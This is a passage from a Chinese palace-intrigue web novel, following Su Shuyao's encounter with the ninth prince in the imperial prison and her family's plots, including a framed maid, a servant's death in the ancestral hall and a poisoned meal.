苏舒窈进屋，将楚翎曜遗失的匕首揣进怀里，跟着锦衣卫走了。 镇抚司诏狱大门打开，迎面扑来一股难闻的气味，刺鼻的血腥味夹杂着铁锈、霉味，在暗无天日的诏狱里，到处写满了绝望。 走廊两侧是牢房，牢房里躺着的人，不知生死。 “好了，你就在这里站着。”锦衣卫将人带到诏狱中间，便走了。 前方的墙上挂着各式各样的刑具，一滴滴鲜血从刑具上往下滑，滴在烧红的烙铁上，发出“滋滋”的声响。 地上随处可见森白的骨头，断裂的残肢。 “啊——” 最里面的牢房，正在行刑，一个男人发出凄厉的叫喊声。 叫喊声穿透耳膜，让人汗毛倒竖。 寻常闺阁女子见到这样的场景，早就吓得花容失色。 苏舒窈只是轻轻皱了皱眉。 九殿下想要恐吓她。 似乎她越是害怕，他就越是兴奋。 就像野兽狩猎猎物，总是喜欢将弱小的猎物玩弄一番。 猎物的恐慌是野兽最美味的调味剂。 站了半个时辰，被行刑的男人好像死了，终于叫不出声。 楚翎曜踩着一地血腥，一步一步走了过来。 他的脚步很轻，轻到不会让人发现。 直到一把冰凉的利刃抵在后背，划破锦袍，皮肤传来刺痛，苏舒窈才知道，九殿下来了。 “九殿下。”苏舒窈转过身。 利刃缓缓往上，轻轻一动，便挑开脖颈处的纽扣，划破衣领，最后抵到了她的咽喉。 剑尖紧紧贴着喉咙，稍微一动，便会挑破脆弱的皮肤，让鲜血喷涌。 两人之间留下了足够的安全距离，以确保对方不会像上次一样......忽然亲过来。 油灯时明时暗，饶是光线昏暗，依然不能掩盖苏舒窈的美貌。 冰肌玉骨，明艳动人。 楚翎曜盯着那张脸，想要狠狠扯下来，揉碎在指尖。 可恶，竟敢对他做出那种事！ “听说过美人灯吗？” 苏舒窈：“殿下，没听说过。” 楚翎曜眼眸仿佛凝了层冰，幽深又凉薄：“就是将美人的皮整个剥下来，做成灯罩。” 剑尖上移，抵到下颌，往前顶了顶。 苏舒窈被迫仰起头来。 “你的皮做成灯，肯定很美。” 他靠近一步，想欣赏她眼中的仓皇与恐惧。 像极了藏于深渊的恶魔。 然而，预料中的场景并未发生。 苏舒窈抬起手攀上利剑，缓缓向前，最后，她握住了他的手。 楚翎曜愣了愣，还没来得及反应，苏舒窈已经推开抵在下颌的剑尖，靠近过来，双手环上了他的腰。 第65章 拥抱 楚翎曜的身体比想象中还要结实，也比想象中的要僵硬许多。 他像是一只被掐住命门的野兽，茫然地露出利爪和尖齿，却忘记该怎么撕碎猎物。 诏狱昏暗，苏舒窈并未看清楚翎曜身上锦袍的颜色，却能清晰地嗅到他身上气味。 他身上没有一点血腥气。 相反，他身上的气味很好闻，一股淡淡的松木香气，仔细分辨，便能发现其中混杂的皂角味和阳光气息。 说不出的清爽怡人。 与他表现出的疯狂、嗜血、顽劣不堪，完全是两个极端。 他的身体温热，心跳得极快。 苏舒窈贴近他的身体，闭上眼睛，再次耸动鼻翼。 九殿下好好闻。 忽然，暴戾野兽反应了过来。 苏舒窈被一股大力扯开。 “嘶啦——” 原本脆弱的、被剑刃划破的锦袍被撕出一条口子，雪白的肌肤露了出来。 脆弱的、吹弹可破的肌肤，轻轻碰上去，便会流淌出滚烫的鲜血。 苏舒窈眉心微微皱起，抬起头，想看看楚翎曜的反应。 就这么一息的时间，楚翎曜转身离开，消失无踪。 他又逃了。 这一次和上一次一样仓皇。 一把银色长剑孤零零地躺在地上。 上一次留下的短刀还没还，这一次又留下了长剑。 苏舒窈捡起长剑。 长剑和短刀一样，做工精致，造价不菲，应该是楚翎曜常用之物。 剑柄还留着男人的体温，仔细摩挲就能发现，剑柄有些湿润。 想是刚才被她抱住的时候，手心出了冷汗。 怎么办，又欠了九殿下一样武器。 ~ 楚翎曜冷着脸出了诏狱，他的速度很快，快到守在门口的锦衣卫也只看到一道黑影。 诏狱门口的庭院里，蹲守着两只狼狗：疾风和暗影。 这两只狼狗，是狼和狗杂交而生，从小便带着野性，平时喂的也是活物。 两只狼狗野性未消，楚翎曜追捕逃犯时经常带上。 只要放出去，必定会见血。 两只狼狗差点咬死过喂食的人，平日里，就连锦衣卫也不敢靠得太近。 楚翎曜专门放在这里，就等着苏舒窈出来，吓唬她。 他还特地为自己准备了一把椅子，他可以坐在上面，饶有兴致地欣赏她的丑态。 看她被吓得浑身颤抖，乱了钗环、汗水糊了香粉、披头散发、哭叫着求饶...... 疾风和暗影看到楚翎曜，露出口中尖牙，喉咙里发出愤怒的低吼。 楚翎曜走过去，墨色瞳孔逐渐暗沉下去，带着一股淬了冰的凉意，让人不寒而栗。 两只狗感受到危险，竟然乖顺地摇起尾巴，凑过来闻他。 这一幕勾起了楚翎曜不好的回忆，他心头涌上一抹杀意，抬手摸上狗耳朵，狠狠捏了一把。 “呜呜~~”暗影不敢龇牙，喉咙里发出求饶的低鸣，凶恶的眼神也变得乖顺起来。 真正的野兽，在面对危险，是能靠本能感知的。 “带下去。” “是，殿下。”锦衣卫牵着狗绳，将狗带了下去。 楚翎曜捏着衣带，眼底闪过浓烈的阴骘。 可恶的女子，不仅敢抱他，还敢闻他。 下一次，本王定让她生不如死。 ~ 苏舒窈手中拿着长剑，原地等了一会儿。 确定楚翎曜是真的逃跑了，她才叹了口气，朝门口走去。 诏狱没人拦她，也没人管她。 她走到门口，看见门口的一张矮几上放着一件披风。 将披风拿在手中，闻了闻，熟悉的松木香气。 应该是九殿下留下的。 闻上披风的一瞬，背后传来一道冰冷的视线，像是阴湿暗夜里藏着的蛇，正冷冷地盯着猎物。 苏舒窈顿感后背发冷。 她将披风穿到了身上。 她确实该穿一件披风，裙子破了，整个脖颈锁骨都露了出来，不穿披风，根本不敢出门。 九殿下好贴心。 门口守了两个锦衣卫，看到苏舒窈出来，也不知道拿她怎么办。 九殿下什么都没吩咐。 苏舒窈开口道：“送我回府。” 守门的两个锦衣卫互相看了一眼，九殿下命令他们把苏小姐抓来，应该是要解决什么私人恩怨。 现在九殿下忽然跑了，苏小姐穿着九殿下的披风出来，究竟发生了什么...... 他们不知道问谁，但九殿下没有吩咐将人送回去，他们也不敢擅自做主。 他们不敢盯着人看，视线落在苏舒窈手上的长剑上：“这是殿下的九渊剑。” 苏舒窈低头看向手中的长剑，剑身狭长，比寻常长剑更薄，剑柄缠着鲛鱼皮，触感冰凉。 是一把好剑。 “这剑我会亲自还给殿下。” “给我叫一辆马车。” 楚翎曜对“九渊”极其珍视，平时都不让人碰的。 现在这把剑落在苏小姐手上，苏小姐和九殿下的关系应该不一般吧。 锦衣卫叫来马车，将人原封不动地送了回去。 ~ 威远侯府，春景园。 万氏听说苏舒窈被锦衣卫带走，身上的病气消了大半。 “夫人，听说倚兰居大门都被踢烂了，在锦衣卫面前，长公主送来的两个丫鬟一声也不敢吭。”吴妈妈守在万氏身旁，说的是口沫横飞，仿佛她亲眼见到苏舒窈被带走一般。 万氏念了句“阿弥陀佛”，坐直了身体。 “毕竟是家里的姑娘，也不能放任不管，派人去镇抚司打听一番，舒窈究竟犯了什么罪，会不会累及家人？” 吴妈妈恭维道：“夫人慈悲，大小姐这般不孝，夫人这个时候还为大小姐着想。” 万氏笑了笑：“谁让我信佛呢。再派人去长公主府，将这个消息告诉长公主，不能让长公主蒙在鼓里。” “是。奴婢马上让人去办。夫人考虑事情真是周全。”吴妈妈话音刚落，便有小丫鬟急冲冲走了进来。 “夫人，大小姐回来了！” 万氏撩起眼皮：“回来了？这么快？她怎么回来的？身上有没有伤？” 小丫鬟道：“回夫人，大小姐是坐马车，让锦衣卫送回来的，七八个锦衣卫把大小姐送回来，可威风了！” 万氏眉心一皱：“这是怎么回事？快让人去问问。” 吴妈妈应道：“夫人，奴婢马上就去。” 吴妈妈离开后，丫鬟端着熬好的药进来：“夫人，该喝药了。” 万氏端着药，只喝了一口，眉心皱得快要夹死蚊子：“怎么这么苦？！” 第66章 作死 苏明珠带着翠红，马不停蹄来到存放粮食的仓库。 仓库门口站了几个官爷，正指挥着苦力往外搬粮食。 苏明珠心下一慌，赶紧迎了上去。 “敢问官爷，究竟怎么回事？我们是本本分分做生意的商户，从未犯过事。” 其中一个领头的官爷睨了她一眼，一言未发。 苏明珠心里觉得恼火，大哥还没出仕，一个芝麻绿豆大的小官都不好惹。 放在上一世，这种小官，给他一百个胆子都不敢对她甩脸子。 “官爷，我是威远侯府的。” “这京城，往天上扔一块瓦片，砸到十个人，就有九个勋贵。”官爷嗤笑一声：“威远侯府，听都没听说过。” 苏明珠没办法，笑着递上一个封红：“官爷，是在下唐突了。” 官爷打开封红看了一眼，里面装了一块碎银子，目测还没有一两。 不愧是落魄户，真够小气。 他拿出一张文书，双手扯开来：“看清楚了，朝廷下令，征用粮食，放心，会按市价补偿你的。” 市价补偿，那就是一分钱都赚不了，还要倒赔钱。 那可不行。 这些粮食可是她高价买回来的。 苏明珠哀求道：“官爷，这是我们留着自己吃的，能不能通融一下。” 说着，再次递上一个封红。 官爷接过封红，再次打开看了一眼。 依然是一块不到一两的碎银。 “你打发叫花子呢！”官爷虽然嘴上嫌弃，还是将封红揣进了兜里。 苏明珠没有办法，从荷包里掏出五两银子递了过去。 官爷这才道：“如果是自家用的，不允许高价出售，朝廷已经下令了，高价卖粮者，一旦抓到，是要砍头的。” 苏明珠简直不敢置信：“你说什么？” 官爷：“我说，高价卖粮被抓到，一律砍、头！” 苏明珠：“为什么？那些高价卖冰的，卖药材的，也是卖高价，为什么不砍头啊？！” 官爷像是看傻子一样看着她：“那能一样吗？老百姓不用冰、不吃药也能活，没了粮食，可活不下去。” 粮食是关乎民生的重要物品，冰、药材是门阀贵族才能用得起的。 门阀贵族可不缺粮食，只有老百姓才缺。 粮食涨价，老百姓没了活路，是会引起社会动荡的。 “我这么告诉你吧，我不征用你的粮食，也没人买，这么一仓库粮食，到时候指不定会放坏。现在被朝廷征用，虽然赚不了钱，却也没什么损失。” “怎么没损失，损失大了！”苏明珠像是被抽了筋，被翠红搀扶着，才勉强站稳。 怎么会这样...... 上一世朝廷也征用了粮食的吗？ 上一世这个时候，她还在养父家，养父只是个店铺的账房，一家人过得紧紧巴巴。 她只记得灾情，物价上涨。 朝廷的政策，她一个闺阁小姐，哪里能接触到...... 早知道，便囤冰和药材了！ 仓库外的茶楼里，谢瑜坐在包厢里，看着绝望的苏明珠，眼底浮现出一抹笑意。 ~ 苏明珠还是让官爷把粮食征用了，不然这一仓库粮食放坏了，亏得更多。 原本计划卖了粮食，到南街买铺子。 现在拿着手上的一千多两银票，也不知道该怎么给母亲交代。 马车驶到侯府门口，苏明珠不敢回去。 这点银子，没有办法给万氏交差。 她不能失去万氏的爱。 在马车上独自坐了一会儿，忽然看到一个面生的小丫鬟出门来。 门口的挑货郎看到小丫鬟，快步冲了过来：“小姐，要买什么？我这里的货都是时兴的。” 小丫鬟挑挑拣拣，买了不少东西。 苏明珠挑开帘子，看着小丫鬟的背影，问道：“这是哪个院子的丫鬟，出手这么阔绰？” 门房回道：“二小姐，这是浮光阁的春杏。” 浮光阁，月姨娘的院子。 差点忘了，月姨娘可是带了一百二十抬嫁妆入府，那些嫁妆，应该值好几万两吧。 如果把月姨娘的嫁妆拿给万氏，填补亏空，万氏肯定不会怪她的。 万氏还能像以前那般爱她！ 暂时绕过苏舒窈一命，先解决了月姨娘再说。 侯府是真的没银子了，水煮菜她是一天也吃不下去了。 想到这里，苏明珠双眼一亮，直奔万氏的院子。 春景园里，吴妈妈正在和万氏说话：“奴婢刚刚问过了，大小姐身上的披风是男子的，她的衣裙好像烂掉了。” 万氏捻着手中的佛珠：“衣裙烂掉了？衣裙怎么会烂掉？” 吴妈妈：“这奴婢就不知道了，听说是被剑划破的，大小姐还拿了把剑回来，听说是九皇子随身的佩剑。” 万氏眼中出现一抹怨毒，“真是不知廉耻，勾引了谢小郡王还不够，现在又开始勾搭九皇子，咱侯府家风纯正，怎么养了她那样一个不知廉耻的东西！” 吴妈妈：“夫人，要不把大小姐叫过来，夫人亲自教导一番。” 万氏沉默着没说话。 苏舒窈身边可是有两个长公主赐的丫鬟，尤其是那个叫皓月的，伶牙俐齿，善于狡辩。 那个叫晴空的倒是不怎么说话，但是手脚麻利，应该会点功夫。 长公主真的眼瞎了，怎么赐了这么两个丫鬟给苏舒窈？ 万氏只觉得一口气堵在胸口，上不去，也下不来。 “算了，别让她来，看到她更烦。” “夫人，要不让奴婢代替夫人去教训大小姐一番吧。” 吴妈妈上次挨了苏舒窈一巴掌，还没来得及还，一直在等待机会呢。 她凑上前，悄声道：“动不了大小姐，可以拿大小姐身边的人开刀，奴婢有个点子......” 万氏听着，连连点头。 吴妈妈得到首肯，立刻带着几个粗使婆子去了倚兰居。 倚兰居大门被锦衣卫踹坏了，还没修好。 吴妈妈带着人进去之后，直奔西厢房，进门便翻箱倒柜。 秋霜护着兰花，急得直跺脚：“吴妈妈，你这是干什么？！” 吴妈妈不知从哪里翻出一双男人的布鞋：“好你个秋霜，竟敢和外院的男人私通！” 好明显的栽赃嫁祸。 计谋虽然拙劣，但是有用。 “来人，把秋霜给我绑了，交给夫人发落！” 几个粗使婆子冲出来，将秋霜擒住。 第67章 摔下 吴妈妈带来的人太多了，再加上大门坏了，皓月和晴空还没反应过来，就让她得了手。 苏舒窈站出来：“吴妈妈，你干什么？” 吴妈妈看着苏舒窈，眼底藏着一抹坏笑：“大小姐，夫人说了，大小姐就是被这起子不知廉耻的贱人给带坏的，像这种不要脸的小娼妇，必须要严惩！” 秋霜不停地挣扎：“大小姐，我没有，是吴妈妈栽赃、污蔑！” 吴妈妈手里拿着男人的布鞋，在秋霜脸上拍了两下：“这双布鞋不是你的，难道是大小姐的？” 秋霜忽然就哑了。 明知吴妈妈藏奸，也不敢再说话，就怕把大小姐影响了。 女子名节，可是比性命还大的事。 苏舒窈眼底闪过一丝暗芒，上前一步，淡淡道：“吴妈妈，放了秋霜，秋霜是我的人，是我没有管教好，要罚也该罚我。” 秋霜眼眶一红：“是奴婢的错，怎么能罚大小姐？” “吴妈妈，你罚奴婢！” 吴妈妈得意一笑：“那大小姐等一等，奴婢这就去禀报夫人，看看夫人怎么罚。” 万氏听到捷报，精神抖擞起来：“就让她去祠堂跪着吧，跪三天再说。” 终于抓到苏舒窈的错处，可太不容易了。 “扶我起来，等她跪好了，我要亲自去看看。” 吴妈妈从万氏那边回来，趾高气昂像只打了胜仗的公鸡：“大小姐跟着奴婢去祠堂跪着吧，夫人说了，跪满三天，就再给秋霜一个机会。” 秋霜慌了：“跪三天？大小姐怎么受得了？我去跪，我跪五天都没问题！” 吴妈妈冷笑一声：“你个贱蹄子哪来的资格跪祠堂？！威远侯的祠堂，是什么人都能去跪的？！” 苏舒窈看向皓月：“你看着秋霜，跪三天，不妨事的。” “大小姐，跟着奴婢走吧，早点跪满三天，早些出来。” 苏舒窈跟着吴妈妈去了祠堂，跪在蒲团上。 怕她偷懒，吴妈妈还专门派了两个小丫鬟守着。 见苏舒窈跪好，吴妈妈喜滋滋回到春景园向跟万氏交差：“夫人，你不知道，大小姐听说奴婢要拿秋霜，怕得跟什么似的。” “也不知道大小姐怎么想的，不就一个奴婢，看得跟眼珠子似的，反而不把夫人和几个小姐少爷放在眼里。” 万氏心情舒畅：“她就是失心疯了。” 找到她的软肋，今后就能将她轻松拿捏了。 万氏脸上露出一抹舒心的笑来，她看向吴妈妈：“还是你能干，加一个月月钱。” 吴妈妈喜笑颜开：“多谢夫人，这都是奴婢应该做的。” “走吧，扶我去看看，大小姐跪得直不直？”万氏把手伸到苏明珠面前，苏明珠没有及时扶上来，反而在发呆。 “明珠，你在想什么？” 苏明珠这才回过神来，赶紧扶上万氏的手：“没什么，想一点事情。” 她还在想，怎么悄无声息除掉月姨娘，占了她的嫁妆。 万氏心情好，让人把苏明芷也叫来，一起去祠堂走去欣赏苏舒窈的丑态。 走着走着，吴妈妈忽然觉得身后有什么东西，一股摄人的凉意从尾椎骨蔓延至背心。 她转头看了看，什么也没看到。 自己吓自己。 一行人走着走着，忽然，一道黑影闪过。 万氏带着苏明珠走在前面，少了一个人也没发现。 ~ 苏舒窈跪在蒲团上。 万氏要她跪满三天三夜，不吃不喝。 很折磨人。 吴妈妈有点难处理。 她不怕万氏，万氏罚人要讲章法，吴妈妈这种小人，蛮横不讲理，反而不好对付。 只有千年做贼的，没有千年防贼的。 倒是可以除掉吴妈妈，但，少了一个吴妈妈，还有张妈妈、庞妈妈...... 小人畏威不畏德。 只能杀一儆百。 该怎么杀，才能让小人畏惧？ 苏舒窈抬起头，看着老夫人和老侯爷的牌位，诚心叩拜。 “姐姐，你别怪母亲，母亲罚你，也是为了你好。” 听到苏明珠的声音，苏舒窈皱了皱眉。 幸灾乐祸的语气不要太明显。 真想扇她两巴掌。 苏明珠扶着万氏走了进来，苏明芷跟在身后。剩下的媳妇妈妈全部等在门口。 万氏脸上挂着慈悲的笑，扶着苏明珠的手，缓慢走到苏舒窈面前。 居高临下地看着人，带着一种悲天悯人的口气：“舒窈，你知错了吗？” 苏舒窈抬起头，微微皱眉。 万氏小人得志，定不会轻饶她。 苏舒窈不想认错。 她要是不认错，万氏还要加罚。 人在屋檐下不得不低头。 苏舒窈张开嘴，还没来及发出声音，忽然，头顶闪过一道黑影。 “砰”的一声，一个人从祠堂的房梁上被扔了下来，落在苏舒窈脚边。 那么大一个人，就摔在苏舒窈面前，落下来的时候，惊了满地灰尘。 溅起的强风吹起发丝，苏舒窈心尖一颤，差点失声叫出来。 被扔下来的人是吴妈妈。 吴妈妈被五花大绑，嘴上塞着那双男子的布鞋，一双眼睛鼓瞪着，满是恐惧。 刚落下来的时候，吴妈妈还有气，一双眼睛布满了血丝，死死地盯着苏舒窈，像是从地狱而来的恶鬼，要将苏舒窈一并带走。 随着瞳孔放大，男人的布鞋从嘴里滑落出来。 吴妈妈浑身骨头被摔断，被活活摔死了。 摔成了一滩烂肉，鲜血从眼睛、嘴巴、耳朵里喷溅而出。 苏舒窈摸了一把脸，满手血红。 她被溅了一身血。 眩晕。 “啊——” “啊——有鬼啊！” 尖叫声四起，万氏低头看着身上的血迹，身体一抽，晕了过去。 苏明珠和苏明芷也被吓坏了，苏明芷扔下万氏，尖叫着跑了出去。 苏明珠把万氏拖出祠堂，才在丫鬟的搀扶下离开。 万氏离开的地方，留下一滩水渍。 万氏被吓尿了。 “大小姐，快别跪了，您快起来！”秋霜听说出了事，悄悄找了过来。 苏舒窈胃里恶心翻涌，想吐。 不是她不想起来，实在是起不来。 腿软。 吴妈妈就摔在她旁边，她亲眼看着吴妈妈死去，一闭上眼，便是吴妈妈那双死不瞑目的眼睛。 秋霜闭着眼冲进祠堂，将苏舒窈背了起来。 祠堂的房梁上，一道黑影一闪而过。 “等一等。”苏舒窈趴在秋霜身上，往上看去。 房梁上，什么都没有。 好像吴妈妈真的被鬼怪缠身，被恶鬼害了。 第68章 毒杀 “究竟是怎么回事？”威远侯听说祠堂发生的事，从乔姨娘床上爬了起来。 万氏躺在榻上，身旁点了五盏灯。 本来府上冰不够，天又热，五盏灯点上，整个房间热烘烘的，好似一个蒸笼。 万氏跪在蒲团上，小声快速念着“阿弥陀佛”。 “不知道怎么回事，吴妈妈明明跟着我们一起的，她什么时候不见的，我们都不知道。”庞妈妈也被吓得不清，现在心肝都还在颤抖。 “是不是苏舒窈搞的鬼？！”威远侯抹了把头上的汗，屋子里太热了，他有些不耐烦，只想赶紧结案走人。 万氏胸口现在也跳得厉害：“我也怀疑过她，看起来不像。” 当时她站在苏舒窈面前，吴妈妈摔下来，落在两人中间，苏舒窈也被吓到了。 她被吓傻了，苏舒窈也被吓得不轻，表情不像是演出来的。 威远侯点了个俏丽的丫鬟帮他打扇：“那是怎么回事？” 房梁那么高，又没有梯子，吴妈妈长得那么胖，要把吴妈妈悄无声息绑了从房梁上扔下来，一般人还真做不到。 而且谁那么闲得慌，和吴妈妈有仇直接杀了就是，为什么要多此一举，把她从房梁上扔下来。 “不会真的有鬼吧？” 万氏忽然睁开眼：“侯爷慎言，切不可怪力乱神。” “这事发生在祠堂，难道是有人做了伤天害理之事，祖宗预警？”威远侯背着手走到万氏面前，面露不喜： “这事说起来，还是你罚舒窈引起的。舒窈深得长公主喜爱，在九皇子殿下那里也得了脸，你别一天到晚找她的麻烦！” “舒窈要是飞上枝头变凤凰，咱侯府还要靠她提携，万一把她得罪，侯府岂不是少了一份助力！” 威远侯扔下一句话，便头也不回离开了。 万氏气得摔了手中佛珠。 这老东西，没事的时候见不到人，出了事只会甩锅。 咱侯府的荣耀，可不在苏舒窈身上。 万氏吩咐下去：“这件事，不能再提，尤其是鬼神之说，被我听到谁传府上闹鬼的，一律发卖！” 苏明珠守在外面煎药，药煎好，亲手端了进来：“母亲，喝药了。” 苏明珠端着药，拿起勺子，一勺一勺地喂。 万氏喝得眉头紧皱：“怎么这么苦？！” 苏明珠：“我问过医师了，母亲心火旺盛，加了黄莲，喝完多吃几颗蜜饯就好了。” 一勺一勺地越喝越苦，万氏把碗端过来，一口气喝了。 万氏平时养尊处优惯了，喉咙忽然被刺激，一个没憋住，药从鼻子喷了出来。 “真是见鬼了！” 一碗药喷了大半碗，丫鬟又得重新熬。 苏明珠伺候着万氏换完衣裳，万氏看过去：“明珠，粮食怎么了？” 苏明珠心里咯噔一声，这么大的事都没能转移母亲的注意力，母亲依然惦记着银钱。 她低声道：“母亲，朝廷有规定，不准商户溢价卖粮。” 万氏的脸瞬间阴沉了下去。 亏钱带来的伤痛比吴妈妈摔死在面前还要锥心。 “那怎么办？” 苏明珠掏出银票放在万氏面前：“女儿按照市价让朝廷征用了。” 借出两万两银子，现在就收回一千两。 万氏捏着薄薄的银票，整个人都在发抖：“苏明珠，你是怎么向我承诺的！” 苏明珠忙道：“母亲别急，女儿已经想到一个法子，可以弥补亏空。” 万氏把苏明珠的手甩开，“每次都说能弥补弥补，最后越亏越多！” “亏的是我的钱啊！” “那可是我的嫁妆啊！” 万氏眼眶泛红，想到亏损的银钱，差点当场晕厥过去。 苏明珠立刻跪在地上：“母亲，你听我说，这回肯定能弥补，不会再让母亲贴补了！” 万氏嘴皮铁青：“你说，究竟是什么法子？” 苏明珠膝行到万氏旁边，小声道：“母亲，府上出了有鬼的传言，可是好事。这样就能神不知鬼不觉地弄死月姨娘......母亲要是怕脏手，这事交给女儿来办就行。” “女儿清点过，月姨娘的嫁妆至少好几万两......” 苏明珠抱着万氏的大腿：“母亲放心，这回不会再让母亲损失一分钱了。” 想到月姨娘的嫁妆，万氏胸口的闷气终于舒展了几分。 “这事千万不能让明沛知晓。” “女儿省的。” ~ 浮光阁。 正房里，只有半盆冰，这半盆冰，还是月姨娘自己掏钱买的。 “姨娘，开饭了。” 月姨娘摇着蒲扇，眼皮耷拉着，软绵绵道：“没胃口。” 侯府的伙食，不是大白菜煮水，就是水煮大白菜。 怀孕之后，胃口越来越刁。幸亏天气热，没胃口，不然又要自己掏银子加菜。 小丫鬟笑道：“姨娘，今儿不是水煮菜，今儿吃玉竹炖鸡脚。” 小丫鬟打开食盒，端出一碗雪白的汤羹：“我听说啊，这玉竹炖鸡脚，可是美颜圣品，姨娘吃了，皮肤会更加细嫩，生下的孩子也会白白胖胖。” 月姨娘立刻警惕起来：“我可是听说，府上出了大事，事关祠堂，夫人还吃得下鸡脚？” 小丫鬟摇摇头，压低声音：“听说就是夫人小姐们吃不下，才便宜了姨娘。” 月姨娘挥挥手：“行吧，你出去，我看着吃一点。” 她扭着腰肢坐到桌前，轻声唤道：“高中~” 一只小奶狗欢快地跳了过来。 月姨娘从碗里夹出一只鸡脚丢了过去。 高中叼起鸡脚，喉咙里发出一阵欢快的咕噜声，当即双爪抱着鸡脚，哼哧哼哧啃食起来。 小狗吃完鸡脚又朝着月姨娘扑过来，看起来活泼得很。 没事啊。 月姨娘心下松乏了许多。 真是夫人小姐们不吃的？ 月姨娘拿起勺子，舀起一勺汤，浅浅尝了一口。 汤汁鲜美，火候到位，鸡脚也炖得软烂。 随便吃一点吧，好久没吃上一顿好菜了，肚子里的馋虫都被引了出来。 月姨娘刚夹起一块鸡脚送进嘴里，脚边的奶狗便呕了起来。 只是干呕，什么也没有呕出来。 呕完，高中躺在地上，虚弱地喘着气，跟一开始的活泼样子大相径庭。 没一会儿，奶狗又吐起来。 月姨娘也有点想吐。 她怀相不错，怀孕到现在，从来就没吐过。 怎么会忽然想吐？ 奶狗也在吐......难道是汤有问题？！ 全身被一股寒意侵袭。 该来的总算来了。 她强撑着爬起来：“世子爷呢？” 丫鬟进来：“姨娘，世子爷在读书。” 月姨娘放下勺子，娇声道：“妾身好几天都没到世子了，去问问世子，晚上要不要来妾身这边用膳？” 第69章 伪装 月姨娘吐了一下午，什么也没吐出来，身子软绵没有精神。 幸亏她喝得少，只喝了一小口。 高中就惨了，本来就还是小奶狗，吃了整整一只鸡爪，现在趴在墙角，一动不动。 有气，但无力。 不知道是什么毒，但应该是慢性的，伪装成孕吐症状，不会突然致死。 丫鬟打听回来，每个小姐那里都送了玉竹鸡脚汤，就连苏明沛和苏明添那里，也有。 万氏病着起不来，今天的餐食，是苏明珠安排的。 月姨娘基本判定，要她命的是苏明珠，但万氏也脱不了干系。 这一家子都不是什么好东西。 上次苏明珠来清点她的嫁妆的时候，她就看出来了，贱蹄子装着一副假清高的样子，实际上贪财又狠辣。 不过现在也好，苏明珠在明，她在暗，看看是东风压倒西风，还是西风更勇。 月姨娘躺了一会儿，让小丫鬟扶着去了水榭，她一路走一路吐，装出一副虚弱的样子。 出了水榭，月姨娘被丫鬟搀扶继续走，走到倚兰居的时候，月姨娘走不动了，想去苏舒窈那里讨杯水喝。 秋霜：“大小姐，月姨娘真是奇怪，几步路就走回去了，偏要到我们这里讨水喝，谁不知道世子和大小姐不和，月姨娘喝了我们倚兰居的水，不好了可怎么办？” 苏舒窈笑了笑，瞬间明白，月姨娘是来求救的。 苏明珠应该朝月姨娘下手了。 算一算，也差不多了。 苏明珠毁了香料铺子，又让万氏赔了温年一大笔钱，粮食被征收，万氏那边没办法交代。 苏明珠打算把月姨娘的嫁妆赔偿给万氏。 “你送杯水出去，就说我身子不爽利，不见客。她要是问什么时候能上门，你就说过两天，等我身子爽利了专门下帖子请姨娘过来。” 秋霜应了，她端了杯清茶了出去：“姨娘，我们大小姐今儿不见客。” 月姨娘有些失望，她双手接过水，柔声道：“多谢大小姐送的茶水，妾身这几天觉得身子不爽，想找人说话解闷，不知大小姐什么有空，妾身想登门拜访。” 秋霜眼神一亮，大小姐真是神了，她怎么知道月姨娘要上门的？ 秋霜对大小姐简直佩服的五体投地：“过两天大小姐身子爽利了，亲自给姨娘下帖子。” 月姨娘笑着应了，还打赏了秋霜一个五钱重的银镯子。 秋霜把银镯子拿到苏舒窈面前，“月姨娘看起有些急。” 苏舒窈淡淡一笑：“让她急一会儿。” 她可不是什么大善人，月姨娘也不是善男信女。 月姨娘的意思苏舒窈懂，月姨娘想找同盟、帮手。 月姨娘什么好处都不拿出来，她凭什么接招。 不是什么人都能和她成为同盟的，至少要有几分本事。 观察两天，看看月姨娘够不够资格。 月姨娘在院子里转悠了一会儿，不到半天，她孕吐差点把胆汁都吐出来的消息便传得阖府皆知。 到了晚上，苏明沛过来了。 “阿梨，你怎么了？”苏明沛这几天天天都在读书，威远侯禁足不准他乱跑，他最近倒是安心了不少。 月姨娘躺在床上，她只穿了件轻薄的纱衣，怀孕后，原本纤细的身体长了不少肉，整个人丰盈起来，像是一颗成熟的蜜桃，轻轻一碰，便满是汁水。 她躺在床上，有气无力地呻吟了一声，立刻引来苏明沛的爱怜。 “不知道怎么回事，忽然就吐了起来。” 晚上，大厨房又送了红枣小米粥来，小米粥里放了南瓜和山药块，不仅赏心悦目，孕妇胃口不好的时候食用上佳。 丫鬟道：“世子，姨娘一天都没吃东西了，世子陪着姨娘吃一点吧。” 苏明沛将人从床上扶起，小声哄道：“乖阿梨，吃一点，不为自己，也要为肚子里的孩子着想。” 月姨娘躺在苏明沛怀中，娇滴滴道：“多谢世子关心。” 苏明沛答应陪着用膳，月姨娘果然来了精神，让丫鬟拿着银子去大厨房加菜。 红枣小米粥盛了两碗，一碗给自己，一碗给苏明沛。 苏明沛唇角一勾。 哪有什么不舒服，这是想他了。 女人的心机用到男人身上，男人便不觉得这是心机，是可爱。 “高中呢？”苏明沛以前过来，一到饭点，小狗就不知道从哪里钻出来，摇头摆尾讨要吃食。 这菜都摆上好一会儿了，高中还不见踪影。 月姨娘捏着勺子，柔声道：“不知道跑哪里野去了，饿了会回家的。” 高中趴在墙角，听见自己的名字，有气无力地睁开眼，耳朵动了动，再次发出一声干呕。 月姨娘舀了半勺小米粥，慢慢吃着。 虽然知道小米粥有问题，但她不能不吃，她如果不吃，怎么伪装受害者呢。 小米粥软糯可口，苏明沛可不似娇滴滴的女子，他端起小米粥，一口气就喝了大半碗。 喝下去没多久，一股恶心从胃里传来，苏明沛憋了一下没憋住，转头就开始吐。 “世子，你怎么了？” 苏明沛缓了缓，“这小米粥有问题，你先别吃！” 说完，继续吐。 月姨娘吓得一愣，勺子落下，陷落进粘稠的粥里。 她也开始扶着桌子呕。 丫鬟倒来热茶，苏明沛喝了大半盏茶，终于止住了呕。 苏明沛把小米粥端起来，闻了闻，浓郁的米香，没有怪味儿。 搅了搅，也没有怪东西。 胃里面的恶心还没消散，苏明沛捂着嘴，再次干呕起来。 苏明沛看着小丫鬟：“关上门，过来。” 这个小丫鬟叫春杏，是月姨娘从外面买来的，当初侯府开源节流，一个丫鬟都没有给浮光阁配，春杏的月钱也是月姨娘在发。 苏明沛指着小米粥：“你把粥喝了。” 小丫鬟有些疑惑。 月姨娘：“世子赏你的。” 高门大户，主子不吃的赏丫鬟，很正常。 但苏明沛的表情明显不对，春杏有些害怕。 月姨娘柔声道：“还不谢世子。” “多谢世子。”春杏接过小米粥，准备到外面吃。 